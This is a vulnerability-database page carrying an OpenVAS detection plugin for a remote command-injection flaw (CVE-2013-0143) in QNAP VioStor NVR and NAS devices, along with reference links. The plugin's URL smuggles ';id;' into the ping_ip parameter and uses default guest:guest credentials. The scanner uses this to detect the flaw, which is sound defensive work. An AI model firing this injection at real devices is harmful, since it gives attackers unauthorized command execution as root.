Lucene search
+L

QNAP VioStor NVR / QNAP NAS Devices RCE Vulnerability (Jun 2013) - Active Check

🗓️ 07 Jun 2013 00:00:00Reported by Copyright (C) 2013 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 26 Views

VioStor NVR and QNAP NAS RCE Vulnerability, allows execution of scripts with administrative privileges via ping functio

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2013-0143
7 Jun 201320:55
attackerkb
circl
Circl
CVE-2013-0143
5 Jun 201300:00
circl
checkpoint_advisories
Check Point Advisories
QNAP QTS Remote Command Injection (CVE-2013-0143)
27 May 201800:00
checkpoint_advisories
cve
CVE
CVE-2013-0143
7 Jun 201320:00
cve
cvelist
Cvelist
CVE-2013-0143
7 Jun 201320:00
cvelist
exploitdb
Exploit DB
QNAP VioStor NVR / QNAP NAS - Remote Code Execution
5 Jun 201300:00
exploitdb
euvd
EUVD
EUVD-2013-0186
7 Oct 202500:30
euvd
nvd
NVD
CVE-2013-0143
7 Jun 201320:55
nvd
prion
Prion
Design/Logic Flaw
7 Jun 201320:55
prion
redhatcve
RedhatCVE
CVE-2013-0143
22 May 202504:39
redhatcve
Rows per page
# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103731");
  script_version("2025-09-02T05:39:48+0000");
  script_tag(name:"last_modification", value:"2025-09-02 05:39:48 +0000 (Tue, 02 Sep 2025)");
  script_tag(name:"creation_date", value:"2013-06-07 10:32:41 +0200 (Fri, 07 Jun 2013)");
  script_tag(name:"cvss_base", value:"6.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:P/I:P/A:P");

  script_cve_id("CVE-2013-0143");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("QNAP VioStor NVR / QNAP NAS Devices RCE Vulnerability (Jun 2013) - Active Check");

  script_category(ACT_ATTACK);

  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_dependencies("gb_get_http_banner.nasl");
  script_mandatory_keys("http_server/banner");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"QNAP VioStor NVR / QNAP NAS devices are prone to a remote code
  execution (RCE) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"VioStor NVR firmware version 4.0.3 and possibly earlier versions
  and QNAP NAS with the Surveillance Station Pro activated contains scripts which could allow any
  user e.g. guest users to execute scripts which run with administrative privileges. It is possible
  to execute code on the webserver using the ping function.");

  script_tag(name:"solution", value:"Updates are available. Please see the references for more
  information.");

  script_xref(name:"URL", value:"https://www.kb.cert.org/vuls/id/927644");
  script_xref(name:"URL", value:"https://web.archive.org/web/20130609145323/http://www.h-online.com/security/news/item/Serious-vulnerabilities-in-QNAP-storage-and-surveillance-systems-1883263.html");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");
include("misc_func.inc");

port = http_get_port(default:80);

banner = http_get_remote_headers(port:port);
if(!banner || banner !~ "Server\s*:\s*http server")
  exit(0);

url = "/cgi-bin/pingping.cgi?ping_ip=1;id;";

# nb: I've seen hosts where no basic auth was needed to execute a command.
userpass64 = base64(str:"guest:guest");

host = http_host_name(port:port);

req = 'GET ' + url + ' HTTP/1.1\r\n' +
      'Host: ' +  host + '\r\n' +
      'Authorization: Basic ' + userpass64 + '\r\n' +
      '\r\n';
res = http_send_recv(port:port, data:req);

if(res && res =~ "uid=[0-9]+.*gid=[0-9]+.*") {
  report = 'By sending the request:\n\n' + req + '\n\nthe following response was received:\n\n' + chomp(res);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Sep 2025 00:00Current
7High risk
Vulners AI Score7
CVSS 26.5
EPSS0.06965
26